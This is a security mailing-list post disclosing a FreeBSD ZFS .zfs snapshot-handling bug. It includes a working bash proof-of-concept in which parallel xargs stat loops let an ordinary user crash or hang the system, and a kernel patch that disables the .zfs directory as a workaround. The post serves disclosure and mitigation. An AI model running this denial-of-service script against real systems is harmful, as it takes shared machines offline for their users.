Dear users,For a long time now I've been investigating problems relating FreeBSD ZFS .zfs handling, and found that I am not enough to fix issues. Until fixes arrive, unfortunately a regular user can DoS a FreeBSD system which has ZFS filesystems with the attached script. While the script expects a snapshot argument to be given, actually the first test case does not need that, only a mounted zfs filesystem is enough. For more of the tests a snapshot may be needed, and later ones need root account also.
I would recommend that until this gets rewritten or fixed at all, one should disable access to .zfs at all with someting like I've attached.
Regards, Kojedzinszky Richard
#!/bin/bash snapshot="$1" if [ -z "$snapshot" ]; then echo "FreeBSD/ZFS snapshot handling bug" echo "" echo "Usage: $0 <zfs snapshot>" exit 1 fi snapshot="$(zfs list -t snapshot -H -o name "$snapshot")" if [ -z "$snapshot" ]; then echo "Snapshot not found" exit 2 fi dataset="${snapshot%@*}" sn="${snapshot#*@}" mountpoint=$(mount | grep "^$dataset[[:space:]]" | awk '{print $3}') if [ ! -d "$mountpoint" ]; then echo "Could not determine mount point for $dataset" exit 3 fi echo "** dataset=$dataset snapname=$sn mounted=$mountpoint" cd "$mountpoint/.zfs" yes snapshot | xargs stat > /dev/null & yes snapshot | xargs stat > /dev/null & #cd "$mountpoint/.zfs/snapshot" #yes "$sn" | xargs umount > /dev/null & #yes "$sn" | xargs umount > /dev/null & #yes "$mountpoint/.zfs/snapshot/$sn" | xargs umount > /dev/null & #yes "$mountpoint/.zfs/snapshot/$sn" | xargs umount > /dev/null & #yes "$sn" | xargs stat > /dev/null & #yes "$sn" | xargs stat > /dev/null & #yes "$sn/.." | xargs stat > /dev/null & #yes "$sn/.." | xargs stat > /dev/null & #yes "." | xargs ls -la > /dev/null & #yes "." | xargs ls -la > /dev/null & #yes "$snapshot" | xargs -n 1 zfs send -R > /dev/null &
diff --git a/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c b/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c index 8eb8953..27f42bd 100644 --- a/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c +++ b/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vfsops.c @@ -1227,8 +1227,10 @@ zfs_domount(vfs_t *vfsp, char *osname) VERIFY(VFS_ROOT(vfsp, LK_EXCLUSIVE, &vp) == 0); VOP_UNLOCK(vp, 0); +#if 0 if (!zfsvfs->z_issnap) zfsctl_create(zfsvfs); +#endif out: if (error) { dmu_objset_disown(zfsvfs->z_os, zfsvfs); @@ -1960,8 +1962,10 @@ zfs_umount(vfs_t *vfsp, int fflag) return (EBUSY); ASSERT(zfsvfs->z_ctldir->v_count == 1); } +#if 0 zfsctl_destroy(zfsvfs); ASSERT(zfsvfs->z_ctldir == NULL); +#endif } if (fflag & MS_FORCE) { @@ -1980,10 +1984,12 @@ zfs_umount(vfs_t *vfsp, int fflag) */ ret = vflush(vfsp, 1, (fflag & MS_FORCE) ? FORCECLOSE : 0, td); if (ret != 0) { +#if 0 if (!zfsvfs->z_issnap) { zfsctl_create(zfsvfs); ASSERT(zfsvfs->z_ctldir != NULL); } +#endif return (ret); } @@ -2034,8 +2040,10 @@ zfs_umount(vfs_t *vfsp, int fflag) /* * We can now safely destroy the '.zfs' directory node. */ +#if 0 if (zfsvfs->z_ctldir != NULL) zfsctl_destroy(zfsvfs); +#endif if (zfsvfs->z_issnap) { vnode_t *svp = vfsp->mnt_vnodecovered;
_______________________________________________ freebsd-security@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-security To unsubscribe, send any mail to "freebsd-security-unsubscr...@freebsd.org"